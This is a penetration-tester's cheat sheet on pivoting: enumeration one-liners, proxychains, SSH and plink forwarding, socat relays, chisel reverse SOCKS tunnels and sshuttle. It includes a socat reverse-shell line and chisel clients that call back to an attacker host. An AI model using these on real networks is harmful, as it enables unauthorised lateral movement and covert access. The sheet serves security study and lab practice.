# Pivoting

* Tunnelling/Proxying
* Port Forwarding

## Enumeration 
### Using material found on the machine and preinstalled tools
* `arp -a`
* `/etc/hosts` or `C:\Windows\System32\drivers\etc\hosts`
* `/etc/resolv.conf`
* `ipconfig /all`
* `nmcli dev show`
### Statically compiled tools](https://github.com/andrew-d/static-binaries.git)
### Scripting Techniques
```sh
for i in {1..255}; do (ping -c 1 192.168.0.${1} | grep "bytes from" &); done
for i in {1..65535}; do (echo > /dev/tcp/192.168.0.1/$i) >/dev/null 2>&1 && echo $i is open; done
```
* Using local tools through a proxy like `nmap`

## Tools
### Enumerating a network using native and statically compiled tools
### Proxychains / FoxyProxy
* Proxychains
    ```sh
    proxychains nc <IP> <PORT>
    ```
    * Use `/etc/proxychains.conf` or `./proxychains.conf`containing:
    ```
    [ProxyList]
    # add proxy here ...
    # meanwhile
    # defaults set to "tor"
    socks4  127.0.0.1 9050
    # proxy_dns
    ``` 
* FoxyProxy

### SSH port forwarding and tunnelling (primarily Unix)
* LocalPortForwarding
    ```sh
    ssh -L <LocalPort>:<IP_seen_from_Jumpserver>:<Port_seen_from_Jumpserver> <user>@<Jumpserver> -fN
    ```
* Dynamic Port Forwarding
    ```sh
    ssh -D <Port> <user>@<Jumpserver> -fN
    ```
* Reverse Proxy
    ```sh
    ssh -R LOCAL_PORT:TARGET_IP:TARGET_PORT USERNAME@ATTACKING_IP(local) -i KEYFILE -fN
    ```
### plink.exe (Windows)
* [latest version](https://www.chiark.greenend.org.uk/~sgtatham/putty/latest.html)
```sh
cmd.exe /c echo y | .\plink.exe -R <LocalPort>:<TargetIP>:<TargetPort> <user>@<Jumpserver> -i <key> -N
```
* Key generation
    ```sh
    puttygen <keyfile> -o key.ppk
    ```

### Socat
* Reverse shell on target via
    ```sh
    ./socat tcp-l:8000 tcp:<attacker-IP>:443 &
    ```
    * Attacking bind shell
    ```sh
    sudo nc -lvnp 443
    ```
* Relay via Jumpserver
    ```sh
    ./socat tcp-l:33060,fork,reuseaddr tcp:<TargetIP>:3306 &
    ```
* Quiet Port Forwarding
    * On attacker
    ```sh
    socat tcp-l:8001 tcp-l:8000,fork,reuseaddr &
    ```
    * On relay server
    ```sh
    ./socat tcp:<attacker-IP>:8001 tcp:<TargetIP>:<TargetPort>,fork &
    ```
    * Open `localhost:8000`
* Processes are backgrounded via `&`. Therefore, the process can be quit by using the corresponding bg number like `kill %1`.

### Chisel
* **Does not require SSH on target**
* Reverse Proxy
    * Bind port on attacker
    ```sh
    ./chisel server -p <ListeningPort> --reverse &
    ```
    * Reverse port on target/proxy
    ```sh
    ./chisel client <attacker-IP>:<attacker-Port> R:socks &
    ```
    * `proxychains.conf` contains
    ```sh
    [ProxyList]
    socks5 127.0.0.1 <Listening-Port>
    ```

* Forward SOCKS Proxy
    * Proxy/compromised machine
    ```sh
    ./chisel server -p <Listen-Port> --socks5
    ```
    * On attacker
    ```sh
    ./chisel client <target-IP>:<target-Port> <proxy-Port>:socks
    ```
* Remote Port Forward
    * On attacker
    ```sh
    ./chisel server -p <Listen-Port> --reverse &
    ```
    * On forwarder
    ```sh
    ./chisel client <attacker-IP>:<attackerListen-Port> R:<Forwarder-Port>:<target-IP>:<target-Port> &
    ```
* Local Port Forwarding
    * On proxy
    ```sh
    ./chisel server -p <Listen-Port>
    ```
    * On attacker
    ```sh
    ./chisel client <Listen-IP>:<Listen-Port> <attacker-IP>:<target-IP>:<target-Port>
    ```

### sshuttle
* `pip install sshuttle`
* `sshuttle -r <user>@<target> <subnet/CIDR>`
* or automatically determined
```sh
sshuttle -r <user>@<target> -N
```
* Key based auth
```sh
sshuttle -r <user>@<target> --ssh-cmd "ssh -i <key>" <subnet/CIDR>
```
* Exclude servers via `-x`, for example the target/gateway server